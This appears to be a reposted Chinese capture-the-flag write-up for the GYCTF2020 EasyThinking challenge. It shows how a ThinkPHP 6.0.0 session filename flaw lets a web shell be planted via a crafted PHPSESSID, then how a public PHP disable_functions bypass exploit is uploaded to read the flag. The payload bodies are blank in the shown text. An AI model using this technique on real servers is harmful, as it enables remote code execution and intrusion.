栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

[GYCTF2020]EasyThinking

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[GYCTF2020]EasyThinking

[GYCTF2020]EasyThinking

输入url:

/1

页面报错,提示:ThinkPHP V6.0.0 { 十年磨一剑-为API开发设计的高性能框架 } - 官方手册。

用dirsearch扫描发现www.zip源码泄露,使用命令:

python dirsearch.py -u http://be2eaad1-b1cd-496a-9992-e5b410121b55.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/mylist.txt

-w参数表示使用自定义字典。审计下载的源码,找到apphomecontrollerMember.php中的search()函数:

public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }

            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }

这个函数会把搜索框POST数据存到session文件里面,生成的session文件名规则即为sess_PHPSESSID。默认状态下 PHPSESSID 的长度为32个字符。

session_id

PHP中Session ID的实现原理

在vendortopthinkframeworksrcthinksessiondriverFile.php文件下,找到Session 文件驱动:

public function __construct(App $app, array $config = [])
    {
        $this->config = array_merge($this->config, $config);

        if (empty($this->config['path'])) {
            $this->config['path'] = $app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . 'session' . DIRECTORY_SEPARATOR;
        } elseif (substr($this->config['path'], -1) != DIRECTORY_SEPARATOR) {
            $this->config['path'] .= DIRECTORY_SEPARATOR;
        }

        $this->init();
    }

说明session文件存在/runtime/session/目录下。注册后,搜索时拦截请求,修改为:

POST /home/member/search HTTP/1.1
Host: 7e79368d-87d9-4ac2-aa0b-dbc00cc3f8b3.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
cookie: PHPSESSID=1234567891234567891234567890.php
Connection: close
Content-Length: 23

key=

发送请求后,请问文件输入url:

/runtime/session/sess_1234567891234567891234567890.php

类似这一题:[极客大挑战 2019]RCE ME,在phpinfo页面可以看到disable_functions。所以我们考虑绕过disable_functions。再次上传一句话木马:

POST /home/member/search HTTP/1.1
Host: 7e79368d-87d9-4ac2-aa0b-dbc00cc3f8b3.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
cookie: PHPSESSID=1234567891234567891234567890.php
Connection: close
Content-Length: 23

key=

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://0c3b01c2-b1c6-4230-8940-13c54d50a157.node4.buuoj.cn:81/runtime/session/sess_1234567891234567891234567890.php
连接密码 cmd
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST["cmd"]一致。

下载绕过disable_functions的脚本:

GitHub - mm0r1/exploits: Pwn stuff.

选择php7-gc-bypass/文件夹下的exploit.php,第十一行改为pwn("/readflag");,然后用蚁剑上传到服务器/var/tmp/目录下,刷新一下就可以看到已经上传成功。

POST /home/member/search HTTP/1.1
Host: 7e79368d-87d9-4ac2-aa0b-dbc00cc3f8b3.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
cookie: PHPSESSID=1234567891234567891234567890.php
Connection: close
Content-Length: 23

cmd=

输入url:

/runtime/session/sess_1234567891234567891234567890.php

得到flag。

References

[GYCTF2020]EasyThinking

BUUCTF:[GYCTF2020]EasyThinking_末初 · mochu7-CSDN博客

[GYCTF2020]EasyThinking

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/308205.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号